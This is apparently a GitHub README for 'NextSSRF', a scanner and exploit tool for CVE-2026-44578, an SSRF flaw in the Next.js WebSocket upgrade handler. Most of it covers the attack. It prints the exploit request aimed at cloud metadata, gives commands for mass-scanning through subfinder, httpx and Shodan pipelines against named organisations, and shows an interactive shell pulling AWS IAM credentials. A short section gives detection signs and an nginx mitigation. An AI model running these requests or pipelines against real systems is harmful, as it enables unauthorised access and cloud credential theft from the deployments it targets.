ynsmroztas/nextssrf

GitHub: ynsmroztas/nextssrf

针对 CVE-2026-44578 Next.js WebSocket SSRF 漏洞的自动化扫描与利用工具,支持批量检测、交互式凭据窃取和多云环境自动识别。

Stars: 1 | Forks: 0

``` ╔══════════════════════════════════════════════════════════════╗ ║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║ ║ Next.js WebSocket Upgrade Handler SSRF ║ ║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║ ║ @mitsec / ynsmroztas — Bug Bounty Tooling ║ ╚══════════════════════════════════════════════════════════════╝ ``` ![Python](https://img.shields.io/badge/python-3.10+-blue?style=flat-square&logo=python) ![CVE](https://img.shields.io/badge/CVE-2026--44578-red?style=flat-square) ![CVSS](https://img.shields.io/badge/CVSS-8.6_High-orange?style=flat-square) ![License](https://img.shields.io/badge/license-MIT-green?style=flat-square) ![Platform](https://img.shields.io/badge/platform-Linux%20%7C%20Windows%20%7C%20Android-lightgrey?style=flat-square) **CVE-2026-44578** — 通过 Next.js WebSocket Upgrade Handler 实现的服务器端请求伪造 (SSRF) [概述](#overview) · [安装](#install) · [用法](#usage) · [流水线](#pipeline) · [Shodan](#shodan) · [交互模式](#interactive-shell) · [免责声明](#disclaimer)
## 概述 2026年5月11日,Vercel 修补了 **CVE-2026-44578**(CVSS 8.6):Next.js 的 WebSocket upgrade handler 中存在一个未经身份验证的 SSRF 漏洞,影响从 **13.4.13** 起的所有自托管部署版本。 ### 机制 ``` GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← absolute-form URI Host: vulnerable-nextjs.com Connection: Upgrade Upgrade: websocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== ``` `http://` 中的 `//` 触发了 `normalizeRepeatedSlashes` 的提前退出,设置 `statusCode: 308` 和 `finished: true`。存在漏洞的 upgrade handler **忽略了这两个标志**,并在 `parsedUrl.protocol` 为真值时调用 `proxyRequest`——将请求代理到攻击者控制的 **80 端口** 主机上。 ``` // router-server.ts (vulnerable) - if (parsedUrl.protocol) { - return await proxyRequest(req, socket, parsedUrl, head) + if (finished && parsedUrl.protocol) { + if (!statusCode) { + return await proxyRequest(req, socket, parsedUrl, head) ``` ### 受影响版本 | 产品 | 受影响版本 | 已修复 | |-----------------|--------------------|----------| | Next.js | 13.4.13 – 15.5.15 | 15.5.16 | | Next.js | 16.0.0 – 16.2.4 | 16.2.5 | | Vercel 托管 | ✅ 不受影响 | N/A | ### 限制 - **仅限 GET 请求**(不支持 POST/PUT) - **仅限 80 端口**(显式端口会被 URL 规范化去除) - AWS **IMDSv2** 无法利用(需要 PUT token) - GCP 元数据会以 400 状态码拒绝 `Upgrade: websocket` - 反向代理(nginx/caddy/HAProxy)会阻止绝对形式的 URI ## 演示 ![NextSSRF — AWS 凭据已被窃取](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/7396dcebfa133231.jpg) ## 安装 ``` git clone https://github.com/ynsmroztas/nextssrf cd nextssrf python3 nextssrf.py -t https://target.com ``` ## 用法 ### 单一目标扫描 ``` python3 nextssrf.py -t https://target.com ``` ### 特定云平台扫描 ``` # 仅 AWS metadata python3 nextssrf.py -t https://target.com --cloud aws # 自定义内部 target python3 nextssrf.py -t https://target.com \ --ssrf-host http://internal-api --path /admin # Deep scan(+ 内部服务) python3 nextssrf.py -t https://target.com --cloud aws --deep ``` ### 批量扫描 (流水线) ``` # subfinder + httpx + nextssrf subfinder -d target.com | httpx -silent | \ python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl # 文件输入 python3 nextssrf.py -f targets.txt --threads 15 -o results.json # 强制扫描(即使版本未知) python3 nextssrf.py -t https://target.com --force ``` ### 退出代码 | 代码 | 含义 | |------|------------------------| | `0` | 无漏洞 / 安全 | | `1` | 存在漏洞(未利用) | | `2` | 已确认 SSRF 漏洞 | ## 交互式 Shell 具有自动云检测和 IAM 凭据提取功能的高级利用 Shell: ``` python3 nextssrf.py -t https://target.com ``` ``` ╔══════════════════════════════════════════════════╗ ║ NextSSRF v2 — Interactive Exploit Shell ║ ║ Target : ec2-x-x-x-x.compute.amazonaws.com ║ ║ CVE : CVE-2026-44578 | Status: Connected ║ ╚══════════════════════════════════════════════════╝ nextssrf(ec2-x...)> cloud [>] Detecting cloud provider... ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname'] → Run 'aws' for full credential extraction nextssrf(ec2-x...)> aws [1/3] Instance Information [200] Hostname : ip-172-31-47-134.ec2.internal [200] AZ : us-east-1d [200] Account ID : {"AccountId": "370741706736"} [2/3] IAM Role Discovery ✓ IAM Role found: my-ec2-role [3/3] Credential Extraction ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 🎯 AWS CREDENTIALS EXFILTRATED! ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Expiration : 2026-05-14T22:32:22Z ``` ### Shell 命令 | 命令 | 描述 | |----------------|------------------------------------------| | `cloud` | 自动检测云平台 (AWS/Azure/GCP/DO/OCI) | | `aws` | 完整的 AWS IAM 凭据链 | | `azure` | Azure 托管身份 token | | `scan` | 云平台检测 + 自动利用 | | `url `| 自定义 SSRF 请求 | | `get ` | 按索引获取 AWS IMDS 目标 | | `list` | 显示所有 IMDS 端点 | | `history` | 请求历史 | | `save` | 将会话导出为 JSON | | `quit` | 退出 | ### 自动模式 ``` # 检测云环境 + 自动运行完整 exploit chain python3 nextssrf.py -t https://target.com --auto ``` ## 流水线示例 ``` # 完整 recon → exploit 流水线 subfinder -d target.com \ | httpx -silent -server \ | grep -i "next" \ | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl # Shodan 批量扫描 → 在确认的 hosts 上进行交互式操作 python3 shodan_nextjs.py --key KEY --org "TargetCorp" \ | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl # 检查特定版本范围 cat hosts.txt \ | python3 nextssrf.py --pipe --force --cloud aws \ | jq '.[] | select(.ssrf_hits | length > 0)' ``` ## 检测 (蓝队) 日志中的利用迹象: ``` # Next.js 进程日志 Failed to proxy http:/ ← single slash = normalization fingerprint # 访问日志(absolute-form URI + Upgrade header) GET http://169.254.169.254/... HTTP/1.1 Connection: Upgrade Upgrade: websocket ``` ### 缓解措施(如果无法修补) ``` # Nginx:拒绝 absolute-form request URI if ($request_uri ~* "^https?://") { return 400; } ``` ## 参考文献 - [GHSA-c4j6-fc7j-m34r](https://github.com/vercel/next.js/security/advisories/GHSA-c4j6-fc7j-m34r) - [NVD CVE-2026-44578](https://nvd.nist.gov/vuln/detail/CVE-2026-44578) - [Next.js 安全公告 2026 年 5 月](https://nextjs.org/blog/security-release-2026-05) - [Hadrian 技术分析](https://hadrian.io/blog/next-js-websocket-ssrf-unauthenticated-access-to-internal-resources-cve-2026-44578-2) ## 免责声明
由 [@mitsec](https://github.com/ynsmroztas) 用 ❤️ 制作 · [ynsmroztas.github.io](https://ynsmroztas.github.io) **Intigriti 顶尖黑客 @ · 100+ 荣誉榜 · 2430+ 漏洞 · 1100+ P1 严重漏洞**
标签:Bug Bounty, CISA项目, CVE-2026-44578, PoC, Python, SSRF, WebSocket, 云元数据提取, 依赖分析, 可自定义解析器, 密码管理, 插件系统, 数据展示, 无后门, 暴力破解, 服务端请求伪造, 红队, 网络安全, 运行时操纵, 隐私保护